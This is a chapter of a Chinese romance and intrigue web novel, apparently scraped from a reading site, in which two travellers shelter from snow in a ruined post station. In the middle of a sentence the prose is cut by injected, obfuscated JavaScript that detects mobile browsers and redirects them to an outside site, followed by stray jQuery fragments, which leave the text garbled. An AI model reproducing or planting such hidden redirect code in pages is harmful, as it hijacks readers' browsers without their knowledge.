默认冷灰
24号文字
方正启体

第六十八章:是为了什么

作者:脑袋瓜困掉了本书字数:K更新时间:
    江一苇摇摇头,站起身,拍了拍手上的雪,看向他们来的方向。“不知道。也许是为了牵制谁,也许……是有人要他这么做。”他伸手拉她起来,“先赶路。前头三十里有处废了的驿站,能避避风雪,也安全些。”


    两人重新上马,这回江一苇放慢了速度,走在她侧后方,不远不近地跟着。


    王外头的雪又大了。天地间白茫茫一片,连路都看不清了,只有马蹄踩进积雪里,发出咯吱咯吱的闷响。


    苏灼只上下牙在打架,觉得浑身发冷,伤口一跳一跳地疼,可脑子里却清醒得可怕,目光不自觉的看向袖子里这半块来路不明的玉,最近发生的一桩又桩的事件,像一张网,勒得她喘不过气。


    她抬眸,眼中带着复杂的情绪,缓缓开口:“江先生。”


    “嗯?”江一苇目光看向她。


    “如果……”她顿了顿,风雪灌进嘴里,呛了一下,“如果他没有真死,这一切都是个局……他图什么?”


    江一苇沉默了一下,没有马上回答这个问题,马蹄声在雪地里单调地响着,一下,又一下。


    过了好一会儿,风雪把他的声音送过来:“皇帝的心思,谁也猜不透。但有种局,叫置之死地而后生。”他侧过头看她,雪落在他睫毛上。“也可能,是为了把水搅浑,让藏在底下的人,自己冒出来。”


    “那……也包括我父亲的事?”


    “也许。”江一苇的目光投向北方,那里什么都看不见,只有一片混沌的白。


    “所以我们要去北边,离魂草,军里的事,你父亲可能的下落……这些线头,都在那边。”


    苏灼瞬间沉默了,脑子里浮现一幕又一幕的事情,萧寰最后那个眼神,想起他塞玉过来时手指的颤抖,如果真是个局……那他也把自己算进去了?用一场死,换她出宫,换她去北地?


    心口那根刺,又往深处扎了几分,倘若真是这样……她真是越来越来不了解他。


    天擦黑的时候,总算看见了那处废驿站,几间土坯房塌得差不多了,院墙倒了大半,只有靠东边那间还算有个顶,江一苇警惕的观察一圈,下马提着剑进去转了一圈,确保没有问题后出来冲她点点头。


    屋子里积了厚厚的灰,一脚踩上去扑簌簌地往下掉,墙角有堆烧过的柴火灰烬,还有些没烧完的干柴,江一苇开始生了火,又出去把马牵到破马棚里,喂了点草料,苏灼坐在火堆边,伸出手烤着,冻僵的手指慢慢有了知觉,火苗一跳一跳的,映得她脸色忽明忽暗。


    江一苇回来后递给她一块硬饼和皮水囊。“先凑合吃,晚上我守前半夜,你先休息会。”


    苏灼木讷的点了点接过饼,慢慢啃,饼又干又硬剌嗓子,她灌了口水,才开口问道:“江先生,你当年……为什么离开京城,去了断云寨?”


    江一苇拨火的手顿了顿,火光映着他半边脸,那总是温和的眼睛里,有什么东西沉了下去。


    “当年……家里倒了,被人陷害。”他说得简单,仿佛在说一件事不关己的事情。


    他轻轻的叹一口气,紧接着说道:“父亲死在流放路上,我那会儿还小,被故人救下,一路往南边逃。后来……”他抬起眼,目光看向她,“遇到了该遇到的人,做了该做的事。”


    “该遇到的人”,是说她吗?苏灼没问出口。火堆里噼啪响了一声,爆出几点火星子。


    “你呢?”江一苇突然发反问,“除了报仇,除了找你父亲,往后……有什么打算?”


    往后?苏灼看着跳动的火苗,这三年,她活着就为了这两件事,往后?她从没敢想。


    “不知道。”她声音逐渐低下去。


    “等这些事了了,”江一苇的声音很平静,可里头藏着些什么,沉甸甸的。“要是你愿意,断云寨……或者别的你想去的地方,我都能陪你。”


    这话太明白了,苏灼的心不自觉的紧张起来,手指蜷起来,饼渣从指缝里漏下去,她没抬头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160528|196593||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,只盯着火。


    “江先生,”她嗓子发紧,“我……”


    “不急。”江一苇打断她,语气还是温和的,“等找到你父亲,等一切水落石出,到时候,你再告诉我。”


    他没逼她,可这话里的意思,像块石头,压在她已经乱糟糟的心上。


    夜里,苏灼蜷在火堆边的干草堆上,却怎么也睡不着,伤口隐隐作痛,心里乱。她摸出那半块玉,就着火光看,血渍在玉的纹路里浸着,弯弯曲曲的,像什么古老的符咒。


    “信他……”她喃喃的说着。


    信谁?萧寰临死前,到底想让她信谁?


    窗外风声很大也很诡异,远处好像有狼在嚎。


    苏灼攥紧了玉,闭上眼,迷迷糊糊的,好像又回到了暖阁,看见萧寰咳血的样子,看见他手垂下去……


    她猛地睁开眼,大口喘气,心脏疯狂跳动着。


    恨他。该恨他的,可为什么……会梦见他?


    后半夜,江一苇温柔的推醒她:“阿灼该你了。”


    苏灼坐起身,点点头,江一苇在她刚才的位置躺下,很快呼吸就均匀了,苏灼抱着剑,坐在火堆边,盯着门外黑漆漆的夜。


    雪停了,月亮从破屋顶漏下来,清清冷冷的,她听着风声,听着江一苇平稳的呼吸,脑子里一遍遍过着这三天的事。


    天快亮的时候,外头忽然有动静。


    像是马蹄声,很轻很轻,但不止一匹,从远处过来,正朝着驿站这边来。


    苏灼立刻握紧了剑柄,用脚尖轻轻碰了碰江一苇,江一苇瞬间睁眼,目光锐利,一点声音没有地起身,闪到门边,从门缝往外看。


    月光底下,三骑马停在了驿站外头。马上的人都穿着深色衣裳,戴着风帽看不清脸。其中一个下了马,朝驿站走过来。


    江一苇回头,对苏灼做了个噤声的手势,手按在了剑柄上。


    脚步声停在门外,停了一会儿,门被推开了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)